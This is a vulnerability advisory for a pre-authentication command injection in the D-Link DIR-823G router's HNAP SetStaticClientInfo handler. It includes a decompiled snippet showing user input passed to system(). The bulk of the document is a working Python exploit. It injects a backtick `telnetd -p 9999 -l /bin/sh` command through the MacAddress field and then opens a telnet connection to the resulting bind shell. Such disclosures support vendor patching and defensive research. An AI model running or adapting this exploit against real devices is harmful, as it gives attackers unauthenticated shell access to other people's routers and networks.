Vendor of the products: D-Link

Affected products: DIR-823G

Version：V1.0.2B05

Vulnerability Description

D-Link DIR-823G A1V1.0.2B05 (latest) was discovered to contain a command injection via the MacAddress IPv4Address and DeviceName parameter in the SetStaticClientInfo function. This vulnerability allows attackers to execute arbitrary commands via a crafted packet without Authentication.

Vulnerability Analysis

The issue lies in the /bin/goahead file, where user-controllable parameters are concatenated while logging without proper validation, leading to the execution of user input by the system and causing a command execution vulnerability.

```
12  v9 = 0;
13  v11[26] = 0;
14  dword_58A6C0 = a1;
15  v8 = malloc(10240);
16  if ( v8 )
17  {
18    memset(v8, 0, 10240);
19    v9 = malloc(51200);
20    if ( v9 )
21    {
22      memset(v9, 0, 51200);
23      if ( *(_DWORD *)(a1 + 1316) )
24      {
25        apmib_get(7011, &v11[26]);
26        for ( dword_58A6C4 = (int)&off_588D80; *(_DWORD *)dword_58A6C4; dword_58A6C4 += 8 )
27        {
28          if ( strstr(*(_DWORD *)(a1 + 1316), *(_DWORD *)dword_58A6C4) )
29          {
30            memset(&v11[27], 0, 5000);
31            snprintf(&v11[27], 4999, "echo '%s' >/var/hnaplog", a7);
32            system(&v11[27]);
33            printf("wp->hnapfunc==========>%s\n", *(const char **)(a1 + 1316));
34            if ( !strncmp(*(_DWORD *)dword_58A6C4, "GetLocalMac", 11) )
35            {
36              memset(&qword_58A6A0, 0, 32);
37              strncpy();
38            }
39            if ( (*(int (__fastcall **)(const char *))(dword_58A6C4 + 4))(a7) )
40              break;
41          }
42        }
43      }
44      else
45      {
```

payload

```
import requests
import os
from time import sleep



server = "192.168.0.1"
url = 'http://192.168.0.1/HNAP1/'

print('[*] Sending payload')

headers = {
    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6)
AppleWebKit/537.36(KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36",
    "Content-Type": "text/xml; charset=utf-8",
    "SOAPAction": '"http://purenetworks.com/HNAP1/SetStaticClientInfo"'
}
params = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <SetStaticClientInfo xmlns="http://purenetworks.com/HNAP1/">
      <StaticClientInfoLists>
        <ClientInfo>
          <MacAddress>\'`telnetd -p 9999 -l /bin/sh`\'</MacAddress>
          <IPv4Address>192.168.0.5</IPv4Address>
          <DeviceName></DeviceName>
        </ClientInfo>
        <ClientInfo>
          <DeviceName></DeviceName>
          <MacAddress>aa:aa:aa:ab:aa:aa</MacAddress>
          <IPv4Address>192.168.0.3</IPv4Address>
        </ClientInfo>
      </StaticClientInfoLists>
    </SetStaticClientInfo>
  </soap:Body>
</soap:Envelope>
'''

resp = requests.post(url,data=params,headers=headers,timeout=100000)
print(resp.text)



print('[*] Running Telnetd Service')
print('[*] Opening Telnet Connection\n')
sleep(2)
os.system('telnet ' + str(server) + ' 9999')
```

result

The attacker can execute arbitrary commands without authorization.